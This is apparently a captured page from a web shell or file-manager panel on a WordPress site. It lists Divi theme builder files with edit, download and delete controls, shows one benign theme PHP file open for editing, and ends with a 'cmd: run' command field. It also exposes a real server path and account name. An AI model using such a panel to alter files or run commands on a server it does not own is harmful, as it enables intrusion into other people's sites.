/
home
/
techb158
/
primomovers.ca
/
wp-content
/
themes
/
Divi
/
includes
/
builder
/
/home/techb158/primomovers.ca/wp-content/themes/Divi/includes/builder
mkdir
upload
Name
Size
Mode
Actions
api/
-
0755
rm
compat/
-
0755
rm
feature/
-
0755
rm
frontend-builder/
-
0755
rm
images/
-
0755
rm
languages/
-
0755
rm
module/
-
0755
rm
plugin-compat/
-
0755
rm
post/
-
0755
rm
scripts/
-
0755
rm
styles/
-
0755
rm
templates/
-
0755
rm
tests/
-
0755
rm
theme-compat/
-
0755
rm
ab-testing.php
55357
0644
edit
dl
rm
autoload.php
13535
0644
edit
dl
rm
class-et-builder-dynamic-assets-feature.php
607
0644
edit
dl
rm
class-et-builder-element.php
917093
0644
edit
dl
rm
class-et-builder-global-feature-base.php
4339
0644
edit
dl
rm
class-et-builder-google-fonts-feature.php
6592
0644
edit
dl
rm
class-et-builder-module-features.php
2217
0644
edit
dl
rm
class-et-builder-module-shortcode-manager.php
21391
0644
edit
dl
rm
class-et-builder-module-use-detection.php
4655
0644
edit
dl
rm
class-et-builder-plugin-compat-base.php
838
0644
edit
dl
rm
class-et-builder-plugin-compat-loader.php
1649
0644
edit
dl
rm
class-et-builder-post-feature-base.php
7655
0644
edit
dl
rm
class-et-builder-settings.php
55328
0644
edit
dl
rm
class-et-builder-theme-compat-base.php
646
0644
edit
dl
rm
class-et-builder-theme-compat-handler.php
1333
0644
edit
dl
rm
class-et-builder-value.php
2628
0644
edit
dl
rm
class-et-global-settings.php
44169
0644
edit
dl
rm
comments_template.php
4222
0644
edit
dl
rm
conditions.php
6164
0644
edit
dl
rm
core.php
252365
0644
edit
dl
rm
deprecations.php
2276
0644
edit
dl
rm
error_log
22795
0644
edit
dl
rm
framework.php
48472
0644
edit
dl
rm
functions.php
519844
0644
edit
dl
rm
main-structure-elements.php
184143
0644
edit
dl
rm
template-preview.php
3240
0644
edit
dl
rm
_et_builder_version.php
109
0644
edit
dl
rm
Edit:
/home/techb158/primomovers.ca/wp-content/themes/Divi/includes/builder/class-et-builder-value.php
(2628B)
<?php /** * Represent a simple value or a dynamic one. * Used for module attributes and content. * * @package Divi * @subpackage Builder * @since 3.17.2 */ /** * Class ET_Builder_Value. */ class ET_Builder_Value { /** * Flag whether the value is static or dynamic. * * @since 3.17.2 * * @var bool */ protected $dynamic = false; /** * Value content. Represents the dynamic content type when dynamic. * * @since 3.17.2 * * @var string */ protected $content = ''; /** * Array of dynamic content settings. * * @since 3.17.2 * * @var mixed[] */ protected $settings = array(); /** * ET_Builder_Value constructor. * * @since 3.17.2 * * @param boolean $dynamic Whether content is dynamic. * @param string $content Value content. * @param array $settings Dynamic content settings. */ public function __construct( $dynamic, $content, $settings = array() ) { $this->dynamic = $dynamic; $this->content = $content; $this->settings = $settings; } /** * Check if the value is dynamic or not. * * @since 3.17.2 * * @return bool */ public function is_dynamic() { return $this->dynamic; } /** * Retrieve the value content. * * @since 4.4.4 * * @return string */ public function get_content() { return $this->content; } /** * Get the resolved content. * * @since 3.17.2 * * @param integer $post_id Post id. * * @return string */ public function resolve( $post_id ) { if ( ! $this->dynamic ) { return $this->content; } return et_builder_resolve_dynamic_content( $this->content, $this->settings, $post_id, 'display' ); } /** * Get the static content or a serialized representation of the dynamic one. * * @since 3.17.2 * * @return string */ public function serialize() { if ( ! $this->dynamic ) { return $this->content; } return et_builder_serialize_dynamic_content( $this->dynamic, $this->content, $this->settings ); } /** * Get settings value. * * @since 4.23.2 * * @param string $setting_name Setting name. * * @return mixed */ public function get_settings( $setting_name ) { if ( ! isset( $this->settings[ $setting_name ] ) ) { return null; } return $this->settings[ $setting_name ]; } /** * Set settings value. * * @since 4.23.2 * * @param string $setting_name Setting name. * @param mixed $setting_value Setting value. * * @return void */ public function set_settings( $setting_name, $setting_value ) { if ( is_null( $setting_value ) ) { return; } $this->settings[ $setting_name ] = $setting_value; } }
Save
cmd:
run